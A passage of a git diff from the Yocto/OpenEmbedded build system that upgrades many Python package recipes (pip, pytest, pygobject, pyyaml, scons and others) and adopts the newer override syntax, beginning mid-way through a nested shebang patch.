-index c61136b..a497e98 100644
---- a/src/pip/_vendor/chardet/cli/chardetect.py
-+++ b/src/pip/_vendor/chardet/cli/chardetect.py
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/langturkishmodel.py b/src/pip/_vendor/chardet/langturkishmodel.py
+index 43f4230..7e710c3 100644
+--- a/src/pip/_vendor/chardet/langturkishmodel.py
++++ b/src/pip/_vendor/chardet/langturkishmodel.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+
+ from pip._vendor.chardet.sbcharsetprober import SingleByteCharSetModel
+diff --git a/src/pip/_vendor/chardet/metadata/languages.py b/src/pip/_vendor/chardet/metadata/languages.py
+index 3237d5a..aa2ec7c 100644
+--- a/src/pip/_vendor/chardet/metadata/languages.py
++++ b/src/pip/_vendor/chardet/metadata/languages.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
"""
- Script which takes one or more file paths and reports on their detected
- encodings
+ Metadata about languages used by our model training code for our
diff --git a/src/pip/_vendor/requests/certs.py b/src/pip/_vendor/requests/certs.py
index 06a594e..bfa7839 100644
--- a/src/pip/_vendor/requests/certs.py
@@ -55,6 +113,3 @@ index 06a594e..bfa7839 100644
# -*- coding: utf-8 -*-
"""
---
-2.24.1
-
diff --git a/meta/recipes-devtools/python/python3-pip_20.0.2.bb b/meta/recipes-devtools/python/python3-pip_20.0.2.bb
deleted file mode 100644
index 99eeea2edf..0000000000
--- a/meta/recipes-devtools/python/python3-pip_20.0.2.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "The PyPA recommended tool for installing Python packages"
-HOMEPAGE = "https://pypi.org/project/pip"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=8ba06d529c955048e5ddd7c45459eb2e"
-
-DEPENDS += "python3 python3-setuptools-native"
-
-SRC_URI += "file://0001-change-shebang-to-python3.patch"
-
-SRC_URI[md5sum] = "7d42ba49b809604f0df3d55df1c3fd86"
-SRC_URI[sha256sum] = "7db0c8ea4c7ea51c8049640e8e6e7fde949de672bfa4949920675563a5a6967f"
-
-inherit pypi distutils3
-
-do_install_append() {
- # Install as pip3 and leave pip2 as default
- rm ${D}/${bindir}/pip
-}
-
-RDEPENDS_${PN} = "\
- python3-compile \
- python3-io \
- python3-html \
- python3-json \
- python3-netserver \
- python3-setuptools \
- python3-unixadmin \
- python3-xmlrpc \
- python3-pickle \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pip_21.3.1.bb b/meta/recipes-devtools/python/python3-pip_21.3.1.bb
new file mode 100644
index 0000000000..6ddb1d6296
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pip_21.3.1.bb
@@ -0,0 +1,33 @@
+SUMMARY = "The PyPA recommended tool for installing Python packages"
+HOMEPAGE = "https://pypi.org/project/pip"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=c4fa2b50f55649f43060fa04b0919b9b"
+
+DEPENDS += "python3 python3-setuptools-native"
+
+inherit pypi distutils3
+
+SRC_URI += "file://0001-change-shebang-to-python3.patch"
+
+SRC_URI[sha256sum] = "fd11ba3d0fdb4c07fbc5ecbba0b1b719809420f25038f8ee3cd913d3faa3033a"
+
+do_install:append() {
+ # Install as pip3 and leave pip2 as default
+ rm ${D}/${bindir}/pip
+}
+
+RDEPENDS:${PN} = "\
+ python3-compile \
+ python3-io \
+ python3-html \
+ python3-json \
+ python3-multiprocessing \
+ python3-netserver \
+ python3-setuptools \
+ python3-unixadmin \
+ python3-xmlrpc \
+ python3-pickle \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pluggy/run-ptest b/meta/recipes-devtools/python/python3-pluggy/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pluggy/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-pluggy_1.0.0.bb b/meta/recipes-devtools/python/python3-pluggy_1.0.0.bb
new file mode 100644
index 0000000000..14a7ccb0b0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pluggy_1.0.0.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Plugin and hook calling mechanisms for python"
+HOMEPAGE = "https://github.com/pytest-dev/pluggy"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1c8206d16fd5cc02fa9b0bb98955e5c2"
+
+SRC_URI[sha256sum] = "4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+RDEPENDS:${PN} += "${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-more-itertools \
+"
+
+inherit pypi ptest setuptools3
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/testing
+ cp -rf ${S}/testing/* ${D}${PTEST_PATH}/testing/
+}
diff --git a/meta/recipes-devtools/python/python3-py_1.11.0.bb b/meta/recipes-devtools/python/python3-py_1.11.0.bb
new file mode 100644
index 0000000000..f8be3935e5
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-py_1.11.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Library with cross-python path, ini-parsing, io, code, log facilities"
+HOMEPAGE = "http://py.readthedocs.io/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6bb0320b04a0a503f12f69fea479de9"
+
+SRC_URI[sha256sum] = "51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-netclient"
diff --git a/meta/recipes-devtools/python/python3-pycairo_1.20.0.bb b/meta/recipes-devtools/python/python3-pycairo_1.20.0.bb
deleted file mode 100644
index 8987b7a428..0000000000
--- a/meta/recipes-devtools/python/python3-pycairo_1.20.0.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Python bindings for the Cairo canvas library"
-HOMEPAGE = "http://cairographics.org/pycairo"
-BUGTRACKER = "http://bugs.freedesktop.org"
-SECTION = "python-devel"
-LICENSE = "LGPLv2.1 & MPLv1.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f3713ca2c28d9312ad718520b6dc3eee \
- file://COPYING-LGPL-2.1;md5=fad9b3332be894bab9bc501572864b29 \
- file://COPYING-MPL-1.1;md5=bfe1f75d606912a4111c90743d6c7325"
-
-# cairo >= 1.14
-DEPENDS = "cairo python3"
-
-SRC_URI = "https://github.com/pygobject/pycairo/releases/download/v${PV}/pycairo-${PV}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/pygobject/pycairo/releases/"
-
-SRC_URI[md5sum] = "a1f9b661a0000c2f42281db933284451"
-SRC_URI[sha256sum] = "5695a10cb7f9ae0d01f665b56602a845b0a8cb17e2123bfece10c2e58552468c"
-
-S = "${WORKDIR}/pycairo-${PV}"
-
-inherit meson pkgconfig python3targetconfig
-
-CFLAGS += "-fPIC"
-
-BBCLASSEXTEND = "native"
-
-FILES_${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta/recipes-devtools/python/python3-pycairo_1.20.1.bb b/meta/recipes-devtools/python/python3-pycairo_1.20.1.bb
new file mode 100644
index 0000000000..9c88d998f9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycairo_1.20.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Python bindings for the Cairo canvas library"
+HOMEPAGE = "http://cairographics.org/pycairo"
+BUGTRACKER = "http://bugs.freedesktop.org"
+SECTION = "python-devel"
+LICENSE = "LGPLv2.1 & MPLv1.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f3713ca2c28d9312ad718520b6dc3eee \
+ file://COPYING-LGPL-2.1;md5=fad9b3332be894bab9bc501572864b29 \
+ file://COPYING-MPL-1.1;md5=bfe1f75d606912a4111c90743d6c7325"
+
+# cairo >= 1.14
+DEPENDS = "cairo python3"
+
+SRC_URI = "https://github.com/pygobject/pycairo/releases/download/v${PV}/pycairo-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://github.com/pygobject/pycairo/releases/"
+
+SRC_URI[md5sum] = "fa88a28cadbfb34192fe743d32c0ee33"
+SRC_URI[sha256sum] = "1ee72b035b21a475e1ed648e26541b04e5d7e753d75ca79de8c583b25785531b"
+
+S = "${WORKDIR}/pycairo-${PV}"
+
+inherit meson pkgconfig python3targetconfig
+
+CFLAGS += "-fPIC"
+
+BBCLASSEXTEND = "native"
+
+FILES:${PN} = "${PYTHON_SITEPACKAGES_DIR}/*"
diff --git a/meta/recipes-devtools/python/python3-pycryptodome_3.12.0.bb b/meta/recipes-devtools/python/python3-pycryptodome_3.12.0.bb
new file mode 100644
index 0000000000..a732441a7a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycryptodome_3.12.0.bb
@@ -0,0 +1,5 @@
+require python-pycryptodome.inc
+inherit setuptools3
+
+SRC_URI[sha256sum] = "12c7343aec5a3b3df5c47265281b12b611f26ec9367b6129199d67da54b768c1"
+
diff --git a/meta/recipes-devtools/python/python3-pycryptodome_3.9.9.bb b/meta/recipes-devtools/python/python3-pycryptodome_3.9.9.bb
deleted file mode 100644
index 1e84ce4df7..0000000000
--- a/meta/recipes-devtools/python/python3-pycryptodome_3.9.9.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require python-pycryptodome.inc
-inherit setuptools3
-
-SRC_URI[sha256sum] = "910e202a557e1131b1c1b3f17a63914d57aac55cf9fb9b51644962841c3995c4"
-
diff --git a/meta/recipes-devtools/python/python3-pycryptodomex_3.12.0.bb b/meta/recipes-devtools/python/python3-pycryptodomex_3.12.0.bb
new file mode 100644
index 0000000000..5f88419ce4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pycryptodomex_3.12.0.bb
@@ -0,0 +1,9 @@
+require python-pycryptodome.inc
+inherit setuptools3
+
+SRC_URI[sha256sum] = "922e9dac0166e4617e5c7980d2cff6912a6eb5cb5c13e7ece222438650bd7f66"
+
+FILES:${PN}-tests = " \
+ ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/ \
+ ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/__pycache__/ \
+"
diff --git a/meta/recipes-devtools/python/python3-pycryptodomex_3.9.9.bb b/meta/recipes-devtools/python/python3-pycryptodomex_3.9.9.bb
deleted file mode 100644
index abff71efdd..0000000000
--- a/meta/recipes-devtools/python/python3-pycryptodomex_3.9.9.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require python-pycryptodome.inc
-inherit setuptools3
-
-SRC_URI[sha256sum] = "7b5b7c5896f8172ea0beb283f7f9428e0ab88ec248ce0a5b8c98d73e26267d51"
-
-FILES_${PN}-tests = " \
- ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/ \
- ${PYTHON_SITEPACKAGES_DIR}/Cryptodome/SelfTest/__pycache__/ \
-"
diff --git a/meta/recipes-devtools/python/python3-pyelftools_0.27.bb b/meta/recipes-devtools/python/python3-pyelftools_0.27.bb
index 0cfd99504b..e2d0e18277 100644
--- a/meta/recipes-devtools/python/python3-pyelftools_0.27.bb
+++ b/meta/recipes-devtools/python/python3-pyelftools_0.27.bb
@@ -11,3 +11,5 @@ PYPI_PACKAGE = "pyelftools"
inherit pypi setuptools3
BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-debugger ${PYTHON_PN}-pprint"
diff --git a/meta/recipes-devtools/python/python3-pygments_2.10.0.bb b/meta/recipes-devtools/python/python3-pygments_2.10.0.bb
new file mode 100644
index 0000000000..3c1b5d15c3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pygments_2.10.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Pygments is a syntax highlighting package written in Python."
+DESCRIPTION = "Pygments is a syntax highlighting package written in Python."
+HOMEPAGE = "http://pygments.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=98419e351433ac106a24e3ad435930bc"
+
+inherit setuptools3
+SRC_URI[sha256sum] = "f398865f7eb6874156579fdf36bc840a03cab64d1cde9e93d68f46a425ec52c6"
+
+DEPENDS += "\
+ ${PYTHON_PN} \
+ "
+
+PYPI_PACKAGE = "Pygments"
+
+inherit pypi
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/python/python3-pygments_2.7.2.bb b/meta/recipes-devtools/python/python3-pygments_2.7.2.bb
deleted file mode 100644
index 00e5dc6e30..0000000000
--- a/meta/recipes-devtools/python/python3-pygments_2.7.2.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Pygments is a syntax highlighting package written in Python."
-DESCRIPTION = "Pygments is a syntax highlighting package written in Python."
-HOMEPAGE = "http://pygments.org/"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=1f5d0c4cf38dfc8122c00d6f1a97a0cc"
-
-inherit setuptools3
-SRC_URI[sha256sum] = "381985fcc551eb9d37c52088a32914e00517e57f4a21609f48141ba08e193fa0"
-
-DEPENDS += "\
- ${PYTHON_PN} \
- "
-
-PYPI_PACKAGE = "Pygments"
-
-inherit pypi
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/python/python3-pygobject_3.38.0.bb b/meta/recipes-devtools/python/python3-pygobject_3.38.0.bb
deleted file mode 100644
index b4427050f5..0000000000
--- a/meta/recipes-devtools/python/python3-pygobject_3.38.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Python GObject bindings"
-SECTION = "devel/python"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase distutils3-base gobject-introspection upstream-version-is-even
-
-DEPENDS += "python3 glib-2.0"
-
-SRCNAME="pygobject"
-
-SRC_URI = " \
- http://ftp.gnome.org/pub/GNOME/sources/${SRCNAME}/${@gnome_verdir("${PV}")}/${SRCNAME}-${PV}.tar.xz \
- file://0001-Do-not-build-tests.patch \
-"
-SRC_URI[sha256sum] = "0372d1bb9122fc19f500a249b1f38c2bb67485000f5887497b4b205b3e7084d5"
-
-UNKNOWN_CONFIGURE_WHITELIST = "introspection"
-
-S = "${WORKDIR}/${SRCNAME}-${PV}"
-
-PACKAGECONFIG ??= "${@bb.utils.contains_any('DISTRO_FEATURES', [ 'directfb', 'wayland', 'x11' ], 'cairo', '', d)}"
-
-RDEPENDS_${PN} += "python3-pkgutil"
-
-# python3-pycairo is checked on configuration -> DEPENDS
-# we don't link against python3-pycairo -> RDEPENDS
-PACKAGECONFIG[cairo] = "-Dpycairo=enabled,-Dpycairo=disabled, cairo python3-pycairo, python3-pycairo"
-
-BBCLASSEXTEND = "native"
-PACKAGECONFIG_class-native = ""
diff --git a/meta/recipes-devtools/python/python3-pygobject_3.42.0.bb b/meta/recipes-devtools/python/python3-pygobject_3.42.0.bb
new file mode 100644
index 0000000000..b07969c5ef
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pygobject_3.42.0.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Python GObject bindings"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/pygobject"
+DESCRIPTION = "PyGObject is a Python package which provides bindings for GObject based libraries such as GTK, GStreamer, WebKitGTK, GLib, GIO and many more."
+SECTION = "devel/python"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
+
+GNOMEBASEBUILDCLASS = "meson"
+GIR_MESON_OPTION = ""
+
+inherit gnomebase distutils3-base gobject-introspection upstream-version-is-even
+
+DEPENDS += "python3 glib-2.0"
+
+SRCNAME="pygobject"
+
+SRC_URI = " \
+ http://ftp.gnome.org/pub/GNOME/sources/${SRCNAME}/${@gnome_verdir("${PV}")}/${SRCNAME}-${PV}.tar.xz \
+ file://0001-Do-not-build-tests.patch \
+"
+SRC_URI[sha256sum] = "9b12616e32cfc792f9dc841d9c472a41a35b85ba67d3a6eb427e307a6fe4367b"
+
+S = "${WORKDIR}/${SRCNAME}-${PV}"
+
+PACKAGECONFIG ??= "${@bb.utils.contains_any('DISTRO_FEATURES', [ 'directfb', 'wayland', 'x11' ], 'cairo', '', d)}"
+
+RDEPENDS:${PN} += "python3-pkgutil"
+
+# python3-pycairo is checked on configuration -> DEPENDS
+# we don't link against python3-pycairo -> RDEPENDS
+PACKAGECONFIG[cairo] = "-Dpycairo=enabled,-Dpycairo=disabled, cairo python3-pycairo, python3-pycairo"
+
+BBCLASSEXTEND = "native"
+PACKAGECONFIG:class-native = ""
diff --git a/meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb b/meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb
deleted file mode 100644
index d0c3d0b424..0000000000
--- a/meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-pyparsing.inc
-
diff --git a/meta/recipes-devtools/python/python3-pyparsing_3.0.6.bb b/meta/recipes-devtools/python/python3-pyparsing_3.0.6.bb
new file mode 100644
index 0000000000..d15ff33e9b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyparsing_3.0.6.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Python parsing module"
+HOMEPAGE = "http://pyparsing.wikispaces.com/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=657a566233888513e1f07ba13e2f47f1"
+
+SRC_URI[sha256sum] = "d9bdec0013ef1eb5a84ab39a3b3868911598afa494f5faa038647101504e2b81"
+
+UPSTREAM_CHECK_REGEX = "pyparsing-(?P<pver>.*)\.tar"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-debugger \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pyrsistent_0.18.0.bb b/meta/recipes-devtools/python/python3-pyrsistent_0.18.0.bb
new file mode 100644
index 0000000000..0b4d2564f6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyrsistent_0.18.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Persistent/Immutable/Functional data structures for Python"
+HOMEPAGE = "https://github.com/tobgu/pyrsistent"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.mit;md5=a4b94c2b800b582a8d3925a9939cbf44"
+
+SRC_URI[sha256sum] = "773c781216f8c2900b42a7b638d5b517bb134ae1acbebe4d1e8f1f41ea60eb4b"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-numbers \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pytest_6.2.5.bb b/meta/recipes-devtools/python/python3-pytest_6.2.5.bb
new file mode 100644
index 0000000000..0d8fdf6373
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pytest_6.2.5.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Simple powerful testing with python"
+HOMEPAGE = "https://pypi.org/project/pytest/"
+DESCRIPTION = "The pytest framework makes it easy to write small tests, yet scales to support complex functional testing for applications and libraries."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=81eb9f71d006c6b268cf4388e3c98f7b"
+
+SRC_URI[sha256sum] = "131b36680866a76e6781d13f101efb86cf674ebb9762eb70d3082b6f29889e89"
+
+DEPENDS = "python3-setuptools-scm-native"
+
+inherit update-alternatives pypi setuptools3
+
+RDEPENDS:${PN}:class-target += " \
+ ${PYTHON_PN}-atomicwrites \
+ ${PYTHON_PN}-attrs \
+ ${PYTHON_PN}-debugger \
+ ${PYTHON_PN}-doctest \
+ ${PYTHON_PN}-importlib-metadata \
+ ${PYTHON_PN}-iniconfig \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-more-itertools \
+ ${PYTHON_PN}-packaging \
+ ${PYTHON_PN}-pathlib2 \
+ ${PYTHON_PN}-pluggy \
+ ${PYTHON_PN}-py \
+ ${PYTHON_PN}-setuptools \
+ ${PYTHON_PN}-six \
+ ${PYTHON_PN}-toml \
+ ${PYTHON_PN}-wcwidth \
+"
+
+ALTERNATIVE:${PN} += "py.test pytest"
+
+NATIVE_LINK_NAME[pytest] = "${bindir}/pytest"
+ALTERNATIVE_TARGET[pytest] = "${bindir}/pytest"
+
+ALTERNATIVE_LINK_NAME[py.test] = "${bindir}/py.test"
+ALTERNATIVE_TARGET[py.test] = "${bindir}/py.test"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-pyyaml_6.0.bb b/meta/recipes-devtools/python/python3-pyyaml_6.0.bb
new file mode 100644
index 0000000000..2df0e649f0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-pyyaml_6.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Python support for YAML"
+DEPENDS += "libyaml ${PYTHON_PN}-cython-native"
+HOMEPAGE = "https://pyyaml.org/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6d8242660a8371add5fe547adf083079"
+
+PYPI_PACKAGE = "PyYAML"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-netclient \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb b/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb
new file mode 100644
index 0000000000..9bc5fed921
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb
@@ -0,0 +1,21 @@
+SUMMARY = "A pure python RFC3339 validator"
+HOMEPAGE = "https://github.com/naimetti/rfc3339-validator"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a21b13b5a996f08f7e0b088aa38ce9c6"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/python-rfc3339-validator:"
+
+SRC_URI[sha256sum] = "138a2abdf93304ad60530167e51d2dfb9549521a836871b88d7f4695d0022f6b"
+
+PYPI_PACKAGE = "rfc3339_validator"
+UPSTREAM_CHECK_REGEX = "/rfc3339-validator/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-six \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb b/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb
new file mode 100644
index 0000000000..4abd181acf
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Pure python rfc3986 validator"
+HOMEPAGE = "https://github.com/naimetti/rfc3986-validator"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a21b13b5a996f08f7e0b088aa38ce9c6"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/python-rfc3986-validator:"
+
+SRC_URI[md5sum] = "47f7657b790aaf6011a1ab3d86c6be95"
+SRC_URI[sha256sum] = "3d44bde7921b3b9ec3ae4e3adca370438eccebc676456449b145d533b240d055"
+
+PYPI_PACKAGE = "rfc3986_validator"
+UPSTREAM_CHECK_REGEX = "/rfc3986-validator/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit pypi setuptools3
+
+SRC_URI:append = " \
+ file://0001-setup.py-move-pytest-runner-to-test_requirements.patch \
+"
+
+RDEPENDS:${PN} += "\
+ python3-core \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb b/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb
new file mode 100644
index 0000000000..ae0154080b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Parsing and validation of URIs (RFC 3986) and IRIs (RFC 3987)"
+HOMEPAGE = "https://pypi.org/project/rfc3987/"
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=9;md5=2b723edf67b2f3088bc5e339b1ceda2d"
+
+SRC_URI[md5sum] = "b6c4028acdc788a9ba697e1c1d6b896c"
+SRC_URI[sha256sum] = "d3c4d257a560d544e9826b38bc81db676890c79ab9d7ac92b39c7a253d5ca733"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.17.bb b/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.17.bb
new file mode 100644
index 0000000000..4eb0274166
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.17.bb
@@ -0,0 +1,24 @@
+SUMMARY = "YAML parser/emitter that supports roundtrip preservation of comments, seq/map flow style, and map key order."
+HOMEPAGE = "https://pypi.org/project/ruamel.yaml/"
+AUTHOR = "Anthon van der Neut"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=fa0a51dfb461e2f803969e0f3fa71dfe"
+
+PYPI_PACKAGE = "ruamel.yaml"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "9751de4cbb57d4bfbf8fc394e125ed4a2f170fbff3dc3d78abf50be85924f8be"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-netclient \
+"
+
+do_install:prepend() {
+ export RUAMEL_NO_PIP_INSTALL_CHECK=1
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-scons-native_3.1.2.bb b/meta/recipes-devtools/python/python3-scons-native_3.1.2.bb
deleted file mode 100644
index 9e127304d6..0000000000
--- a/meta/recipes-devtools/python/python3-scons-native_3.1.2.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require python3-scons_${PV}.bb
-inherit native python3native
-DEPENDS = "python3-native python3-setuptools-native"
-
-do_install_append() {
- create_wrapper ${D}${bindir}/scons SCONS_LIB_DIR='${STAGING_DIR_HOST}/${PYTHON_SITEPACKAGES_DIR}' PYTHONNOUSERSITE='1'
-}
diff --git a/meta/recipes-devtools/python/python3-scons-native_4.3.0.bb b/meta/recipes-devtools/python/python3-scons-native_4.3.0.bb
new file mode 100644
index 0000000000..73076b8732
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons-native_4.3.0.bb
@@ -0,0 +1,7 @@
+require python3-scons_${PV}.bb
+inherit native python3native
+DEPENDS = "python3-native python3-setuptools-native"
+
+do_install:append() {
+ create_wrapper ${D}${bindir}/scons SCONS_LIB_DIR='${STAGING_DIR_HOST}/${PYTHON_SITEPACKAGES_DIR}' PYTHONNOUSERSITE='1'
+}
diff --git a/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch b/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch
new file mode 100644
index 0000000000..6dffe64809
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch
@@ -0,0 +1,29 @@
+From 8b482e618047e94833545dce3a26924ef4f075db Mon Sep 17 00:00:00 2001
+From: Tim Orling <ticotimo@gmail.com>
+Date: Sat, 22 May 2021 11:20:46 -0700
+Subject: [PATCH] Fix man page installation
+
+Fixes:
+ error: can't copy 'build/doc/man/scons.1': doesn't exist or not a regular file
+
+Upstream-Status: Inappropriate [oe specific]
+
+Signed-off-by: Tim Orling <ticotimo@gmail.com>
+
+---
+ MANIFEST.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/MANIFEST.in b/MANIFEST.in
+index 04ec000..937f6f3 100644
+--- a/MANIFEST.in
++++ b/MANIFEST.in
+@@ -4,7 +4,7 @@ recursive-include SCons/Tool/docbook *
+ include LICENSE
+
+ include scons.1 sconsign.1 scons-time.1
+-recursive-include build/doc/man *.1
